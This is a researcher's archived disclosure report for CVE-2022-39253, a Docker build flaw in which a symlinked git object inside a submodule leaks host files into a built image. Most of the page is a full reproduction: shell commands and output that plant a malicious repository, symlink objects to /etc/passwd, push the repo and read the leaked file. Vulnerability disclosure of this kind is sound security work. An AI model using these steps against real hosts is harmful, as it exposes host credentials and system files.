n0o.com - Personal archive of discovered vulns & writeups.

[CVE-2022-39253] Container build can leak any path on the host into the container


Reported: 11 Mar 2022 Timeline: 22 Mar 2022 Confirmed by Docker security team. 02 Sep 2022 CVE was assigned https://github.com/moby/moby/security/advisories/GHSA-vp35-85q5-9f25 注:当时我懒了让Docker的大佬帮提交给curl,curl把发现人写成了他……加上当时公司业务转型,我也就懒得纠正了。所以最终Credit变成了这样: Credit for finding the vulnerability goes to Cory Snider of Mirantis. Wenxiang Qian of Tencent Blade Team reported the symlink copy vulnerability in the docker build command. Bjorn Neergaard of Mirantis discovered that Podman is also vulnerable. ===== Original Vuln Report: Under certain circumstances, running "docker build" with a git repository can leak any file on the host. The environment I've tested on: (1) Debian 10.7 + newest docker; (2) Please make sure you have git >= 2.25.0 installed on the host machine; (3) There must be a controllable docker image on the same host machine;* * Explanation: You have to place a malicious image A on the host first, then run "sudo docker build http://github.com/XXX.git" to build image B. As a result, image B can contain any file on the host machine. Steps to reproduce: (i.1) Create your git repo on any git server that you can have access to. leon@debian:/var/www/html/git$ sudo mkdir subm.git leon@debian:/var/www/html/git$ cd subm.git leon@debian:/var/www/html/git/subm.git$ sudo git --bare init leon@debian:/var/www/html/git/subm.git$ cd ../ leon@debian:/var/www/html/git$ sudo chown -R www-data:www-data subm.git/ leon@debian:/var/www/html/git$ sudo chmod -R 755 subm.git/ Add a user with an empty password to make sure you can visit it using http://USERNAME@SERVER/subm.git. Step i finished. (ii.1) Switch to your HOST machine (not the repo in step A), and create an empty repo in malicious image A. leon@debian:/tmp/example$ sudo docker run -it ubuntu /bin/bash root@e1b0f9963291:/# cd /tmp root@e1b0f9963291:/tmp# mkdir foo root@e1b0f9963291:/tmp# cd foo root@e1b0f9963291:/tmp/foo# git --version git version 2.25.1 root@e1b0f9963291:/tmp/foo# git init . Initialized empty Git repository in /tmp/foo/.git/ (ii.2) commit a file "first" with content "first" into that repo. root@e1b0f9963291:/tmp/foo# nano first root@e1b0f9963291:/tmp/foo# cat first first root@e1b0f9963291:/tmp/foo# git add first root@e1b0f9963291:/tmp/foo# git config --global user.email "you@example.com" root@e1b0f9963291:/tmp/foo# git config --global user.name "Your Name" root@e1b0f9963291:/tmp/foo# git commit -m "first" [master (root-commit) f8fa2ec] first 1 file changed, 1 insertion(+) create mode 100644 first root@e1b0f9963291:/tmp/foo# ls -al .git/objects/ 9c/ d0/ f8/ info/ pack/ (ii.3) Find the object with the 2nd large size, and remember its name: root@e1b0f9963291:/tmp/foo# ls -al .git/objects/9c/59e24b8393179a5d712de4f990178df5734d99 -r--r--r-- 1 root root 21 Feb 22 07:02 .git/objects/9c/59e24b8393179a5d712de4f990178df5734d99 root@e1b0f9963291:/tmp/foo# ls -al .git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d -r--r--r-- 1 root root 50 Feb 22 07:02 .git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d <-- our target root@e1b0f9963291:/tmp/foo# ls -al .git/objects/f8/fa2ec68623a38a7d344575c1e48b995cf849bb -r--r--r-- 1 root root 124 Feb 22 07:02 .git/objects/f8/fa2ec68623a38a7d344575c1e48b995cf849bb (ii.4) Commit another file "second" with content "second" into the same repo. root@e1b0f9963291:/tmp/foo# nano second root@e1b0f9963291:/tmp/foo# git add second root@e1b0f9963291:/tmp/foo# git commit -m "second" [master 719aec8] second 1 file changed, 1 insertion(+) create mode 100644 second root@e1b0f9963291:/tmp/foo# cat second second (ii.5) Delete the file in step (ii.3), make a symlink to /etc/password (or other file you want) * Note: You can also symlink to a directory, but this time, you should place a two-digit hex hash, in .git/objects/ directory. Such as "ln -s /etc .git/objects/77", this will leak the whole directory /etc to the guest. (bigfilethreshold = 0 may need to be set in /tmp/foo/.git/config) * For a more straightforward demonstration, this report only leaks a single file. root@e1b0f9963291:/tmp/foo# rm .git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d root@e1b0f9963291:/tmp/foo# ln -s /etc/passwd .git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d root@e1b0f9963291:/tmp/subm# ls -al /tmp/foo/.git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d lrwxrwxrwx 1 root root 11 Feb 22 07:04 /tmp/foo/.git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d -> /etc/passwd (ii.6) run "git clone /tmp/foo /tmp/foo2" if git doesn't complain about anything and we can go to the next step. root@e1b0f9963291:/tmp# git clone /tmp/foo /tmp/foo2 Cloning into '/tmp/foo2'... done. (ii.7) Run "mount" to get the path that the image stores on the host, from the "upperdir" part of its return value. root@e1b0f9963291:/tmp# mount overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SCHOUZ47QRMPKL5JEC4TPL25UX:/var/lib/docker/overlay2/l/QGC7J4PCRMATWBUJNAEIRWDR4Z,upperdir=/var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff,workdir=/var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/work) proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755) Which is: upperdir=/var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff (ii.8) Make another directory in the same container (not on the host): /var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff/tmp, and then copy the corrupted /tmp/foo to that folder: root@e1b0f9963291:/tmp# mkdir -p /var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff/tmp root@e1b0f9963291:/tmp# cp -r /tmp/foo /var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff/tmp/foo (ii.9) Make a new repo in the same container: root@e1b0f9963291:/tmp# mkdir subm root@e1b0f9963291:/tmp# cd subm root@e1b0f9963291:/tmp/subm# git init . Initialized empty Git repository in /tmp/subm/.git/ (ii.10) Add a "Dockerfile" file and its content are shown as below: root@e1b0f9963291:/tmp/subm# nano Dockerfile root@e1b0f9963291:/tmp/subm# cat Dockerfile FROM ubuntu:latest ADD .git /tmp/foobar root@e1b0f9963291:/tmp/subm# git add . root@e1b0f9963291:/tmp/subm# git commit -m "f" [master (root-commit) 90b66af] f 1 file changed, 3 insertions(+) create mode 100644 Dockerfile (ii.11) Create a submodule named, for example, "mysubm", point to the very long directory created in step (ii.8): root@e1b0f9963291:/tmp/subm# git submodule add /var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff/tmp/foo mysubm Cloning into '/tmp/subm/mysubm'... done. root@e1b0f9963291:/tmp/subm# git commit -m "foo" [master 2739806] foo 2 files changed, 4 insertions(+) create mode 100644 .gitmodules create mode 160000 mysubm (ii.12) Add remote origin. The origin is created in step (i.1). The project subm is not corrupted to be pushed into a remote server. root@e1b0f9963291:/tmp/subm# git remote add origin http://leon@192.168.31.161/subm.git root@e1b0f9963291:/tmp/subm# git push origin master Enumerating objects: 6, done. Counting objects: 100% (6/6), done. Delta compression using up to 4 threads Compressing objects: 100% (4/4), done. Writing objects: 100% (6/6), 641 bytes | 641.00 KiB/s, done. Total 6 (delta 0), reused 0 (delta 0) To http://192.168.31.161/subm.git * [new branch] master -> master So far, we have prepared all the environment for the exploit, step ii finished. (iii.1) Run "sudo docker build http://leon@192.168.31.161/subm.git", the URL is from step (i.1). leon@debian:/tmp/$ sudo docker build http://leon@192.168.31.161/subm.git Sending build context to Docker daemon 131.6kB Step 1/2 : FROM ubuntu:latest ---> d13c942271d6 Step 2/2 : ADD .git /tmp/foobar ---> 24aa0e0f9033 Successfully built 24aa0e0f9033 (iii.2) Check the newly built image. It should have the leaked file in its /tmp/foobar folder. leon@debian:/tmp$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE 24aa0e0f9033 39 seconds ago 72.8MB ... leon@debian:/tmp$ sudo docker run -it 24aa0e0f9033 /bin/bash Check the leaked file in the container B: root@b8c428dfb652:/# cat /tmp/foobar/modules/mysubm/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d ...... leon:x:1000:1000:leon,,,:/home/leon:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin uuidd:x:118:126::/run/uuidd:/usr/sbin/nologin debian-deluged:x:119:129::/var/lib/deluged:/usr/sbin/nologin ...... (iii.3) We can see the leak successed. They have different sha1: d9e1cfc39ed6be13de6a9c8b09a39830e076ab44 vs. /etc/shadow in the container: 5160dcbcc73a9d0876e3ada9ca4c95f2d7c63bb5. root@b8c428dfb652:/# sha1sum /tmp/foobar/modules/mysubm/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d d9e1cfc39ed6be13de6a9c8b09a39830e076ab44 /tmp/foobar/modules/mysubm/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d root@b8c428dfb652:/# sha1sum /etc/passwd 5160dcbcc73a9d0876e3ada9ca4c95f2d7c63bb5 /etc/passwd The cause of this issue: (i) Although docker limited which protocol can be handled by git (git/ssh/http/https), the submodule config can bypass this limitation (For example, obtain data via file:/// and local path). (ii) The clone_local(clone.c) of git doesn't check if "objects" in the .git folder is a symlink or regular file, and doesn't validate if they are legal object (I think it's okay in daily use, but it can cause problems in this situation). (iii) The "docker build" runs on the host side with root dir /, but the container image is also on the host and has a different root dir, which allows an image to put a malicious repo in the container and can be read from the host.